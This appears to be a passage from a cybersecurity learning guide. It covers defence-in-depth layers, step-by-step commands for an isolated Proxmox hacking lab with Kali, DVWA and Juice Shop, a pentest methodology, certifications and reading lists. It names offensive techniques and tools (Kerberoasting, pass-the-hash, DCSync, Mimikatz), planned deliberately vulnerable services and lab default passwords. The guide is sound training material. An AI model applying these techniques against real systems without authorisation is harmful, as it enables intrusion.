Intrusion Detection (IDS/IPS)
Snort or Suricata analyzing network traffic against signature and anomaly-based rulesets. IDS alerts on suspicious traffic; IPS actively blocks it inline.
Network Segmentation
Isolating sensitive systems (databases, management interfaces) on separate VLANs with firewall rules controlling inter-segment traffic. Limits blast radius of a compromise.
VPN and Zero Trust
All remote access through encrypted tunnels (WireGuard, OpenVPN). Zero Trust model: verify every request regardless of network location. Never trust, always verify.
Layer 2

Host Defense

Endpoint Hardening
Remove unnecessary services and software. Apply CIS Benchmarks. Disable root login. Enforce strong password policies. Enable automatic security updates.
Anti-Malware and EDR
ClamAV for signature-based scanning. Endpoint Detection and Response (EDR) solutions for behavioral analysis, process monitoring, and automated response.
File Integrity Monitoring
AIDE or Tripwire monitoring critical system files (/etc/passwd, /etc/shadow, system binaries) for unauthorized modifications. Alerts on any changes.
Audit Logging
auditd capturing all security-relevant events: file access, privilege escalation, process execution, network connections. Logs shipped to centralized SIEM.
Layer 3

Application Defense

Input Validation
Validate all input on the server side. Use allowlists over denylists. Parameterized queries for SQL. Content-Security-Policy headers to prevent XSS.
Authentication and Sessions
Multi-factor authentication for all privileged access. Secure session management with HttpOnly, Secure, SameSite cookies. Token expiration and rotation.
Dependency Management
Automated dependency scanning (Trivy, Snyk, Dependabot). Pin dependency versions. Verify checksums. Monitor for supply-chain attacks.
Security Headers
Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options, X-Frame-Options, Referrer-Policy. Automated verification with Mozilla Observatory.
Layer 4

Monitoring and Response

SIEM (Security Information and Event Management)
Centralized log aggregation, correlation, and alerting. ELK Stack, Splunk, or Wazuh correlating events across all systems to detect attack patterns.
Incident Response Plan
Documented procedures: identification, containment, eradication, recovery, lessons learned. Defined roles, communication channels, and escalation paths.
Threat Intelligence
Subscribing to threat feeds (MISP, AlienVault OTX) for current IOCs. Mapping observed activity to MITRE ATT&CK framework for understanding adversary techniques.
Backup and Recovery
3-2-1 backup rule: 3 copies, 2 different media, 1 offsite. Regular restore testing. Immutable backups to prevent ransomware destruction.
DDEFENSE IN DEPTH
Part IV -- Practice and Career
Home Lab

Building a hacking lab on Proxmox infrastructure

A home lab is where theory becomes practice. The infrastructure below is live and running on our Proxmox bare-metal server — every VM, container, and network bridge described here is a real, deployed system that you can connect to via RDP or the Proxmox console.

The architecture uses a dedicated virtual bridge (vmbr2) completely isolated from the production network (vmbr1) and the internet (vmbr0). No traffic routes between the attack lab and production systems. This isolation is critical for safe practice.

Lab Status — Deployed & Running

Kali VM 300
Running
10.0.1.10
DVWA CT 310
Running
10.0.1.30
Juice Shop CT 311
Running
10.0.1.40
Lab Bridge
Active
vmbr2

Isolated Lab Network Architecture

vmbr0 (Public)
Internet-facing bridge Proxmox management DO NOT attach lab VMs
vmbr1 (Production)
10.0.0.0/24 Production VMs and CTs DO NOT attach lab VMs
vmbr2 (Attack Lab)
10.0.1.0/24 Kali + Vulnerable targets Completely isolated

Kali Linux (VM 300)

4 cores, 8 GB RAM, 60 GB disk (local-zfs), QXL + SPICE graphics

Primary attack machine — Kali 2025.4 with full Xfce desktop via xRDP remote access, Metasploit with PostgreSQL database, 50+ pentesting tools, custom aliases and tmux pentest layout

Configuration
Installed from kali-linux-2025.4 ISO. Full system upgrade applied. kali-desktop-xfce installed for xRDP compatibility (GNOME crashes over xRDP). Post-install script configures: static IP, NetworkManager, shell aliases (nmap-quick, dvwa, juice, msf), tmux (Ctrl+A prefix, pentest layout), vim, workspace at ~/pentest/. xRDP on port 3389 with /etc/xrdp/startwm.sh → exec startxfce4. Snapshots: post-install-complete, tools-complete.
Network
10.0.1.10/24 on eth0 (vmbr2). Lab-only — no internet access in normal operation. Gateway 10.0.1.1 routes through Proxmox. DNS: 8.8.8.8. /etc/hosts maps dvwa.lab and juice.lab. Remote access via SSH tunnel: ssh -L 13389:10.0.1.10:3389 root@proxmox -N, then RDP to localhost:13389.

DVWA (CT 310)

1 core, 1 GB RAM, 8 GB disk (local-zfs)

Damn Vulnerable Web Application — Apache 2.4 + PHP 8.2 + MariaDB on Debian 12 LXC container. OWASP Top 10 practice: SQL injection, XSS, CSRF, command injection, file upload, brute force

Configuration
Deployed as unprivileged LXC container. DVWA cloned from GitHub to /var/www/html/. MariaDB database 'dvwa' with user dvwa/p@ssw0rd. Apache serves on port 80. Default login: admin/password. Set security to Low for learning, then increase.
Network
10.0.1.30/24 on vmbr2. Accessible from Kali as http://dvwa.lab/ or http://10.0.1.30/. No internet access. Completely isolated.

OWASP Juice Shop (CT 311)

2 cores, 2 GB RAM, 10 GB disk (local-zfs), Ubuntu 24.04

Modern intentionally insecure web app with 100+ hacking challenges. Covers the entire OWASP Top 10 plus authentication flaws, broken access control, and sensitive data exposure

Configuration
Deployed as unprivileged LXC on Ubuntu 24.04 (needed GLIBC 2.39 for pre-built binary). Node.js 20 + juice-shop v19.1.1 installed as systemd service. Access the scoreboard at /#/score-board to track your challenge progress.
Network
10.0.1.40/24 on vmbr2. Accessible from Kali as http://juice.lab:3000/ or http://10.0.1.40:3000/. No internet access.

Windows Server 2019 (Planned)

4 cores, 4 GB RAM, 60 GB disk (planned)

Active Directory domain controller for practicing Kerberoasting, pass-the-hash, DCSync, BloodHound enumeration, and lateral movement techniques

Configuration
Install from Microsoft evaluation ISO (180-day trial). Promote to domain controller. Create test users, groups, and GPOs. Install deliberately vulnerable services (MS17-010, PrintNightmare).
Network
Will join vmbr2 at 10.0.1.50/24. Domain: lab.local. Run as DC with DNS for the attack lab domain.

Step-by-Step Installation Guide

Complete reproduction steps for building this lab from scratch on any Proxmox server. Every command below was tested and verified on our live infrastructure.

1. Create the isolated lab network

# On Proxmox — create vmbr2 bridge (10.0.1.1/24, no gateway, no NAT)
pvesh create /nodes/$(hostname)/network -iface vmbr2 -type bridge -cidr 10.0.1.1/24 -autostart 1
ifreload -a

vmbr2 is completely isolated from production (vmbr1) and internet (vmbr0). No traffic routes between bridges unless you explicitly add iptables rules.

2. Create Kali VM from ISO

# Download Kali ISO and create VM 300 with QXL graphics for SPICE console
qm create 300 --name kali-attack --cores 4 --memory 8192 --balloon 2048 \
  --scsi0 local-zfs:60 --scsihw virtio-scsi-single --boot order=scsi0 \
  --net0 virtio,bridge=vmbr2 --vga qxl --machine q35 \
  --ide2 local:iso/kali-linux-2025.4-installer-amd64.iso,media=cdrom
qm start 300  # Boot and install via Proxmox noVNC/SPICE console

During install: set user to simonadmin, set static IP 10.0.1.10/24, gateway 10.0.1.1. If network fails during install, skip — we fix it post-install.

3. Post-install configuration

# Run via Proxmox guest agent (qm guest exec 300 -- bash -c '...')
# Add Kali repos if missing:
echo 'deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware' > /etc/apt/sources.list
apt-get update && apt-get full-upgrade -y
# Configure /etc/hosts for lab targets:
echo '10.0.1.30 dvwa.lab' >> /etc/hosts
echo '10.0.1.40 juice.lab' >> /etc/hosts

Temporary NAT needed for downloads: iptables -I FORWARD 1 -s 10.0.1.0/24 -o vmbr0 -j ACCEPT (insert at position 1 — append won't work if DROP rules exist). Remove NAT after.

4. Install xRDP for remote desktop

apt-get install -y xrdp xorgxrdp kali-desktop-xfce
# CRITICAL: startwm.sh must launch Xfce — GNOME crashes over xRDP
cat > /etc/xrdp/startwm.sh << 'EOF'
#!/bin/sh
unset DBUS_SESSION_BUS_ADDRESS
unset XDG_RUNTIME_DIR
exec startxfce4
EOF
chmod 755 /etc/xrdp/startwm.sh
# Fix TLS key permissions:
chmod 640 /etc/xrdp/key.pem && chown root:xrdp /etc/xrdp/key.pem
systemctl enable --now xrdp

If system upgrade replaces Xfce with GNOME, reinstall kali-desktop-xfce. GNOME session exits with code 255/signal 5 over xRDP — this is a known incompatibility with xorgxrdp.

5. Connect via SSH tunnel + RDP

# From your local machine — create SSH tunnel through Proxmox:
ssh -p 2222 -L 13389:10.0.1.10:3389 root@YOUR_PROXMOX_IP -N -f
# Then connect with any RDP client (Remmina, xfreerdp, mstsc):
remmina -c rdp://simonadmin@localhost:13389

The tunnel forwards localhost:13389 → Kali:3389 through the Proxmox host. Works from anywhere with SSH access. Session: Xorg, user: simonadmin.

6. Deploy vulnerable targets

# DVWA — Debian 12 LXC with Apache + PHP + MariaDB
pct create 310 local:vztmpl/debian-12-standard_12.7-1_amd64.tar.zst \
  --hostname dvwa --cores 1 --memory 1024 --net0 name=eth0,bridge=vmbr2,ip=10.0.1.30/24,gw=10.0.1.1
# Inside CT 310: apt install apache2 php mariadb-server php-mysqli php-gd
# Clone DVWA: git clone https://github.com/digininja/DVWA /var/www/html/

# Juice Shop — Ubuntu 24.04 LXC with Node.js
pct create 311 local:vztmpl/ubuntu-24.04-standard_24.04-2_amd64.tar.zst \
  --hostname juice-shop --cores 2 --memory 2048 --net0 name=eth0,bridge=vmbr2,ip=10.0.1.40/24,gw=10.0.1.1
# Inside CT 311: curl -fsSL https://deb.nodesource.com/setup_20.x | bash -
# npm install -g juice-shop && juice-shop  # runs on port 3000

Ubuntu 24.04 needed for Juice Shop (requires GLIBC 2.39). Install as systemd service for auto-start. Both targets are accessible only from vmbr2.

7. Install pentesting tools

# Kali metapackages — install all at once:
apt-get install -y kali-tools-web kali-tools-database kali-tools-passwords \
  kali-tools-information-gathering kali-tools-vulnerability \
  kali-tools-exploitation kali-tools-post-exploitation \
  kali-tools-sniffing-spoofing kali-tools-forensics
# Additional tools:
apt-get install -y crackmapexec feroxbuster bloodhound neo4j seclists \
  bettercap ettercap-common nuclei httpx-toolkit subfinder

After installing all tools, run apt autoremove && apt clean. Take a snapshot: qm snapshot 300 tools-complete. This gives you a safe restore point.

ISOLATED LABProxmox Hostxxx.xxx.xxx.xxxvmbr0Internetvmbr1Productionvmbr2Attack LabKali VM 30010.0.1.10DVWA CT 31010.0.1.30Juice Shop 31110.0.1.40Production VMs10.0.0.0/24InternetPublic
Methodology

Professional penetration testing lifecycle

A penetration test is not random hacking. It is a structured engagement with defined scope, methodology, and deliverables. This six-phase lifecycle is based on PTES (Penetration Testing Execution Standard) and OWASP Testing Guide frameworks.

1

1. Pre-Engagement

1-2 days

Define the scope, rules of engagement, and legal authorization before any testing begins. This is the most important phase -- it prevents legal issues and sets expectations.

Deliverables
  • --Signed authorization and scope document listing all in-scope IP ranges, domains, and applications
  • --Rules of engagement: testing hours, off-limits systems, emergency contacts, communication channels
  • --Defined testing methodology: black box (no information), grey box (partial), or white box (full access)
  • --Legal review: ensure compliance with local laws, contractual obligations, and regulatory requirements
2

2. Reconnaissance

2-3 days

Gather intelligence about the target using passive and active techniques. Build a comprehensive map of the attack surface: domains, IP ranges, technologies, employees, and organizational structure.

Deliverables
  • --Asset inventory: all discovered domains, subdomains, IP addresses, and network ranges
  • --Technology stack identification: web servers, frameworks, databases, CDN providers
  • --Employee information: email format, key personnel, organizational chart from LinkedIn
  • --Attack surface map: exposed services, entry points, and potential vulnerability areas
3

3. Scanning and Enumeration

2-3 days

Actively probe discovered assets to identify open ports, running services, software versions, and potential vulnerabilities. This phase transitions from information gathering to vulnerability identification.

Deliverables
  • --Port scan results: all open TCP/UDP ports across in-scope IP ranges with service identification
  • --Vulnerability scan output: matched CVEs, misconfigurations, and weak configurations
  • --Web application mapping: discovered endpoints, parameters, authentication mechanisms, API schemas
  • --Prioritized target list: ranked by likelihood of exploitation and potential impact
4

4. Exploitation

3-5 days

Attempt to exploit identified vulnerabilities to demonstrate real-world impact. Document each exploitation attempt with evidence: screenshots, command output, and data access proof.

Deliverables
  • --Exploitation evidence: screenshots, shell access proof, data samples (redacted if sensitive)
  • --Attack chains documented: step-by-step from initial access through privilege escalation
  • --Impact assessment: what data was accessible, what systems were compromised, blast radius analysis
  • --False positive validation: confirming that scanner findings are genuinely exploitable
5

5. Post-Exploitation

1-2 days

Assess the full impact of successful exploits: lateral movement potential, data access scope, persistence options, and business impact of the compromise.

Deliverables
  • --Lateral movement map: systems reachable from compromised hosts with harvested credentials
  • --Data access inventory: databases, file shares, and sensitive data accessible from compromised positions
  • --Persistence assessment: methods an attacker could use to maintain long-term access
  • --Business impact analysis: translate technical findings into business risk language
6

6. Reporting

2-3 days

Produce a comprehensive report with executive summary, technical findings, evidence, and remediation recommendations. The report is the primary deliverable of a penetration test.

Deliverables
  • --Executive summary: high-level findings, risk ratings, and strategic recommendations for leadership
  • --Technical findings: each vulnerability with CVSS score, evidence, reproduction steps, and remediation
  • --Remediation priority matrix: vulnerabilities ranked by risk (likelihood x impact) with fix timelines
  • --Retest guidance: specific verification steps to confirm each vulnerability has been remediated
1Pre-Engage1-2d2Recon2-3d3Scanning2-3d4Exploitation3-5d5Post-Exploit1-2d6Reporting2-3dPENTEST LIFECYCLE
Career Path

Certifications and professional development

Cybersecurity certifications validate skills and open doors. The path below progresses from foundational knowledge through practical offensive skills to the industry gold standard. Each certification builds on the previous one.

CompTIA Security+

SY0-701Foundational

Vendor-neutral certification covering security fundamentals: threats, attacks, vulnerabilities, architecture, operations, and governance. Industry standard for entry-level security roles.

Prerequisites
Networking fundamentals (CompTIA Network+ recommended). 2+ years IT experience suggested but not required.
Exam Format
90 questions (multiple choice + performance-based), 90 minutes, passing score 750/900
Study Time
2-3 months

eJPT

eLearnSecurity Junior Penetration TesterEntry-level Offensive

Practical, hands-on certification focused on penetration testing fundamentals. The exam is a real-world pentest: you compromise machines in a network and answer questions about what you found.

Prerequisites
Basic networking and Linux knowledge. The INE course provides all required training.
Exam Format
Real penetration test in a lab environment, 48 hours, browser-based questions about findings
Study Time
2-3 months

OSCP

Offensive Security Certified ProfessionalIntermediate Offensive

The gold standard for penetration testing. 24-hour hands-on exam where you must compromise multiple machines of varying difficulty and write a professional report. Proves real-world offensive capability.

Prerequisites
Strong Linux/Windows administration, networking, scripting (Python/Bash). eJPT or equivalent experience recommended.
Exam Format
24-hour practical exam: compromise machines for points (70/100 to pass) + professional report
Study Time
6-12 months

HTB CPTS

HackTheBox Certified Penetration Testing SpecialistIntermediate Offensive

Modern alternative to OSCP from HackTheBox. Covers the full penetration testing lifecycle with a practical exam. Strong emphasis on Active Directory, web applications, and modern attack techniques.

Prerequisites
Networking, Linux/Windows fundamentals, basic scripting. HTB Academy path provides structured preparation.
Exam Format
10-day practical exam in a simulated corporate environment + professional report
Study Time
4-8 months

Recommended 12-Month Learning Path

1

Month 1-2

Networking and Linux fundamentals

TryHackMe Pre-Security and Complete Beginner paths. Set up home lab on Proxmox with Kali and vulnerable targets.

Study for CompTIA Security+

2

Month 3-4

Web application security

PortSwigger Web Security Academy (all free labs). Practice SQL injection, XSS, CSRF on DVWA and Juice Shop.

Take CompTIA Security+ exam

3

Month 5-6

Penetration testing fundamentals

HackTheBox Starting Point and easy machines. Practice full methodology: recon, scan, exploit, escalate, report.

Study for eJPT

4

Month 7-8

Active Directory and privilege escalation

TryHackMe Offensive Pentesting path. Build AD lab on Proxmox. Practice Kerberoasting, pass-the-hash, DCSync.

Take eJPT exam

5

Month 9-10

Advanced exploitation and CTF

HackTheBox medium machines. Participate in CTF competitions. Build custom tools in Python.

Begin OSCP/CPTS preparation

6

Month 11-12

OSCP or HTB CPTS preparation

Offensive Security PEN-200 course or HTB Academy CPTS path. Practice exam-like scenarios. Write professional reports.

Schedule certification exam

Resources

Platforms, references, and essential reading

Interactive Platforms

TryHackMe
tryhackme.com
Guided learning rooms with in-browser attack machines. Start with Pre-Security and Complete Beginner paths. Best for absolute beginners.
HackTheBox
hackthebox.com
Real-world challenge machines and the Academy structured learning platform. Starting Point provides guided introductory machines.
PortSwigger Web Security Academy
portswigger.net/web-security
Free, comprehensive web application security training from the makers of Burp Suite. Covers all OWASP categories with interactive labs.
Capture-the-flag competition from Carnegie Mellon University. Excellent for beginners with progressively difficult challenges across multiple categories.
Wargames for learning Linux security concepts. Start with Bandit (SSH and Linux basics), then progress to Natas (web security) and Leviathan.

Reference Documentation

Open Web Application Security Project. The OWASP Top 10, Testing Guide, and Cheat Sheet Series are essential references for web security.
MITRE ATT&CK
attack.mitre.org
Knowledge base of adversary tactics and techniques based on real-world observations. The standard framework for describing and categorizing attacks.
Curated list of Unix binaries that can be used to bypass local security restrictions for privilege escalation, file operations, and reverse shells.
Living Off The Land Binaries, Scripts, and Libraries. Windows equivalent of GTFOBins for post-exploitation using legitimate system tools.
Comprehensive pentesting methodology book covering enumeration, exploitation, and post-exploitation for every common service and technology.

Books

The Web Application Hacker's Handbook
Dafydd Stuttard and Marcus Pinto. Comprehensive guide to finding and exploiting web application security flaws. The companion to Burp Suite.
Penetration Testing
Georgia Weidman. Hands-on introduction to penetration testing using Kali Linux and Metasploit. Excellent for beginners transitioning to practical work.
Red Team Field Manual (RTFM)
Ben Clark. Quick-reference guide with commands and techniques for penetration testing organized by category. Keep it next to your terminal.
The Hacker Playbook 3
Peter Kim. Practical guide structured as a football playbook: build your lab, reconnaissance plays, web application plays, network plays, post-exploitation.
Black Hat Python
Justin Seitz. Writing security tools in Python: network sniffers, web scrapers, credential harvesters, and exploitation scripts.

Essential Toolset

Kali LinuxNmapBurp SuiteMetasploitWiresharkJohn the RipperHashcatHydraSQLMapGobusterNiktoAircrack-ngNetcattcpdumpPythonBashVolatilityAutopsyBloodhoundMimikatzResponderCrackMapExecImpacketLinPEAS

Explore more technical deep dives

This guide covers the foundational knowledge for cybersecurity and ethical hacking. See more technical writing on AI agents, infrastructure, and data engineering.